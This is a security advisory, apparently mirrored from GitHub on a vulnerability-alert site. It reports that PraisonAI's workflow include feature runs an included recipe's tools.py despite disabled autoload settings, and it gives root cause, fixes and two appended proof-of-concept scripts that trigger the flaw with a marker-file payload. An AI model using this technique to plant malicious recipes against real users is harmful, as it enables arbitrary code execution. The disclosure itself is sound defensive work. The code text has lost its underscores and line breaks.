Where
-Infinity
0
Severity
7.8
Code Injection
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Summary

PraisonAI's workflow include implementation implicitly imports and executes an included recipe's tools.py file even when the documented tools.py autoload opt-in is unset.

This bypasses the hardening added for the prior automatic tools.py RCE advisory family. A workflow that includes an untrusted local recipe can execute arbitrary Python module-level code before any model call or child workflow execution.

The same sink is reachable through the higher-level praisonai.recipe.run() recipe API when a steps-based recipe workflow includes a local child recipe. The supplementary PoV demonstrates this route without starting a network service or relying on external APIs.

This is distinct from the previously published toolresolver.py, api/call.py, templates/tooloverride.py, and agentsgenerator.py variants. The affected callsite is the workflow include implementation in praisonaiagents, reached through the documented/covered Include workflow composition feature.

Affected Components

- Package: praisonaiagents - File: praisonaiagents/workflows/workflows.py - Sink: Workflow.executeinclude() - Current affected callsite:

python toolspy = recipepath / "tools.py" if toolspy.exists(): spec = importlib.util.specfromfilelocation("recipetools", toolspy) recipemodule = importlib.util.modulefromspec(spec) spec.loader.execmodule(recipemodule)

The current head also contains a similar unguarded workflow-local tools.py import in resolvepydanticclass(). That adjacent sink is not needed for the primary impact claim because the include path has a cleaner public workflow execution path and local PoV.

Security Boundary

PraisonAI documents secure defaults for implicit tools.py autoload:

- PRAISONAIALLOWTEMPLATETOOLS controls implicit template/CWD tools.py autoload and is disabled by default. - PRAISONAIALLOWLOCALTOOLS controls automatic loading of local tools.py files and requires the value true. - Explicit override files/directories are the recommended way to load custom tools without the implicit autoload opt-in. - Existing regression tests for GHSA-xcmw-grxf-wjhj assert that template/CWD tools.py must not execute by default.

Workflow.executeinclude() does not check PRAISONAIALLOWTEMPLATETOOLS, does not check PRAISONAIALLOWLOCALTOOLS, and does not route through the shared safe loader before executing the included recipe's tools.py.

The report is not claiming that workflow includes themselves are unintended. Local tests in the repository cover Include, include(), YAML include parsing, and include-in-loop behavior. The security issue is specifically that the include implementation executes the included recipe's tools.py unconditionally instead of respecting the same implicit-tool-loading gates used elsewhere.

The report also is not claiming that recipe tools.py files are inherently unsafe or unsupported. Official recipe documentation describes tools.py as the place for custom functions and dynamic variables. The issue is the implicit execution mode: official tool-override documentation says implicit tools.py autoload from CWD or template directories is disabled by default, with explicit override files/directories recommended for new projects.

Impact

An attacker who can cause a victim process to run a workflow that includes an attacker-controlled local recipe directory can execute arbitrary Python code as the PraisonAI process user.

The payload runs during include setup, before child workflow parsing or any LLM/model call. The PoV only writes a local marker file.

Reproduction

Run the attached local-only PoV:

bash python3 pov.py

Expected vulnerable output:

text VULNERABLE: included recipe tools.py executed with PRAISONAIALLOWLOCALTOOLS and PRAISONAIALLOWTEMPLATETOOLS unset marker=... markercontent=executed

The PoV:

1. Unsets PRAISONAIALLOWLOCALTOOLS and PRAISONAIALLOWTEMPLATETOOLS. 2. Creates a temporary childrecipe/tools.py with a marker-write payload. 3. Creates a minimal childrecipe/workflow.yaml. 4. Runs Workflow(steps=[include("childrecipe")]).run(...). 5. Confirms the marker file was written before any model-backed workflow step is needed.

Supplementary higher-level API check:

bash python3 povreciperun.py

Expected vulnerable output:

text VULNERABLE: praisonai.recipe.run() reached workflow include tools.py execution with PRAISONAIALLOWLOCALTOOLS and PRAISONAIALLOWTEMPLATETOOLS unset recipestatus=success recipeok=True marker=... markercontent=executed

Validation

Tested vulnerable:

- Current head: bcb6957dac1bc8949866522948a9f61d7e4bd4c1 - Latest release tag: v4.6.56 (praisonai==4.6.56, praisonaiagents==1.6.56) - Older affected tag: v3.9.26 (praisonai==3.9.26, praisonaiagents==0.12.12)

Negative/control observations:

- v3.9.24 does not expose the same include helper/API used by this PoV. - The hardened praisonai.templates.tooloverride.createtoolregistrywithoverrides(..., templatedir=...) path does not execute tools.py when PRAISONAIALLOWTEMPLATETOOLS is unset. - Existing regression test src/praisonai/tests/unit/templates/testtooloverrideautoloadgate.py states that implicit recipe/template tools.py autoload should be gated behind PRAISONAIALLOWTEMPLATETOOLS. - Include is a first-class workflow feature, not an accidental private method: repository tests cover include() imports, YAML include parsing, direct Workflow.executeinclude presence, and include steps inside loops. - praisonai.recipe.run() also reaches the sink through steps-based recipe workflow execution. This strengthens API reachability but does not change the base severity claim to Critical because a clean unauthenticated remote route for this exact include sink was not validated.

Root Cause

The include implementation reintroduced a direct importlib.util.specfromfilelocation() plus spec.loader.execmodule() path outside the centralized safe loader and template override gate. Prior fixes hardened several tools.py autoload chokepoints, but this workflow include sibling callsite still executes module-level code unconditionally.

Suggested Fix

Route included-recipe tool loading through the same security policy used by the template tool override system.

Conservative options:

1. Do not implicitly load included recipe tools.py by default. 2. Only load it when PRAISONAIALLOWTEMPLATETOOLS is explicitly truthy. 3. Prefer explicit toolssources, overridefiles, or a caller-supplied registry for custom tools. 4. Add regression coverage for Workflow(steps=[include("...")]) proving included recipe tools.py does not execute with the opt-in unset. 5. Consider using AST-based discovery for names where possible, and delay execution until an explicitly configured tool is invoked under the appropriate policy.

If local workflow includes are intended to use PRAISONAIALLOWLOCALTOOLS instead, the same principle applies: the include sink should call a shared helper and should not perform raw execmodule() directly.

Severity

Rationale: exploitation requires causing a victim/local process to process an attacker-controlled workflow/include or recipe directory, but no privileges are required once the workflow is run, attack complexity is low, and successful exploitation gives arbitrary Python code execution in the PraisonAI process.

Critical/network severity is not claimed for the base report because a clean unauthenticated remote path for this exact include sink on current head was not validated.

Appendix A - pov.py

python #!/usr/bin/env python3 """Local PoV for PraisonAI workflow include tools.py autoload.

This PoV uses only local files and the public workflow API. It verifies whether a workflow-local include executes the included recipe's tools.py even when the PRAISONAIALLOWLOCALTOOLS opt-in is unset. """

from future import annotations

import os import shutil import sys import tempfile from pathlib import Path

MARKERNAME = "praiworkflowincludetoolsautoloadmarker.txt"

def finddefaultrepo() -> Path: for parent in Path(file).resolve().parents: candidate = parent / "artifacts" / "repos" / "praisonai-current" if candidate.exists(): return candidate raise RuntimeError("Could not locate artifacts/repos/praisonai-current")

def main() -> int: repo = Path(os.environ.get("PRAISONAIPOVREPO", str(finddefaultrepo()))).resolve() sys.path.insert(0, str(repo / "src" / "praisonai-agents")) sys.path.insert(0, str(repo / "src" / "praisonai"))

os.environ.pop("PRAISONAIALLOWLOCALTOOLS", None) os.environ.pop("PRAISONAIALLOWTEMPLATETOOLS", None)

workdir = Path(tempfile.mkdtemp(prefix="prai-include-autoload-")) oldcwd = Path.cwd() try: recipe = workdir / "childrecipe" recipe.mkdir() marker = workdir / MARKERNAME

(recipe / "tools.py").writetext( "from pathlib import Path\n" f"Path({str(marker)!r}).writetext('executed')\n" "def benigntool():\n" " return 'ok'\n", encoding="utf-8", ) (recipe / "workflow.yaml").writetext( "name: child\n" "steps: []\n", encoding="utf-8", )

os.chdir(workdir)

from praisonaiagents.workflows.workflows import Workflow, include

workflow = Workflow(steps=[include("childrecipe")]) workflow.run(input="", llm="dummy/local", stream=False)

if marker.exists(): print( "VULNERABLE: included recipe tools.py executed with " "PRAISONAIALLOWLOCALTOOLS and PRAISONAIALLOWTEMPLATETOOLS unset" ) print(f"marker={marker}") print(f"markercontent={marker.readtext(encoding='utf-8')}") return 0

print("NOT VULNERABLE: included recipe tools.py did not execute") return 1 finally: os.chdir(oldcwd) shutil.rmtree(workdir, ignoreerrors=True)

if name == "main": raise SystemExit(main())

Appendix B - povreciperun.py

python #!/usr/bin/env python3 """Supplementary local PoV through praisonai.recipe.run().

This exercises the higher-level recipe API. It does not start a network server or rely on any external service. The payload writes a local marker file only. """

from future import annotations

import os import shutil import sys import tempfile from pathlib import Path

MARKERNAME = "praireciperunincludetoolsautoloadmarker.txt"

def finddefaultrepo() -> Path: for parent in Path(file).resolve().parents: candidate = parent / "artifacts" / "repos" / "praisonai-current" if candidate.exists(): return candidate raise RuntimeError("Could not locate artifacts/repos/praisonai-current")

def main() -> int: repo = Path(os.environ.get("PRAISONAIPOVREPO", str(finddefaultrepo()))).resolve() sys.path.insert(0, str(repo / "src" / "praisonai-agents")) sys.path.insert(0, str(repo / "src" / "praisonai"))

os.environ.pop("PRAISONAIALLOWLOCALTOOLS", None) os.environ.pop("PRAISONAIALLOWTEMPLATETOOLS", None)

workdir = Path(tempfile.mkdtemp(prefix="prai-recipe-include-autoload-")) oldcwd = Path.cwd() try: parentrecipe = workdir / "parentrecipe" childrecipe = workdir / "childrecipe" parentrecipe.mkdir() childrecipe.mkdir() marker = workdir / MARKERNAME

(parentrecipe / "TEMPLATE.yaml").writetext( "name: parentrecipe\n" "version: 1.0.0\n" "workflow: workflow.yaml\n", encoding="utf-8", ) (parentrecipe / "workflow.yaml").writetext( "name: parent\n" "steps:\n" " - include: childrecipe\n", encoding="utf-8", ) (childrecipe / "workflow.yaml").writetext( "name: child\n" "steps: []\n", encoding="utf-8", ) (childrecipe / "tools.py").writetext( "from pathlib import Path\n" f"Path({str(marker)!r}).writetext('executed')\n" "def benigntool():\n" " return 'ok'\n", encoding="utf-8", )

os.chdir(workdir)

from praisonai import recipe

result = recipe.run(str(parentrecipe), input={}, options={"force": True})

if marker.exists(): print( "VULNERABLE: praisonai.recipe.run() reached workflow include " "tools.py execution with PRAISONAIALLOWLOCALTOOLS and " "PRAISONAIALLOWTEMPLATETOOLS unset" ) print(f"recipestatus={result.status}") print(f"recipeok={result.ok}") print(f"marker={marker}") print(f"markercontent={marker.readtext(encoding='utf-8')}") return 0

print("NOT VULNERABLE: recipe.run() did not execute included recipe tools.py") print(f"recipestatus={result.status}") print(f"recipeerror={result.error}") return 1 finally: os.chdir(oldcwd) shutil.rmtree(workdir, ignoreerrors=True)

if name == "main": raise SystemExit(main())

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203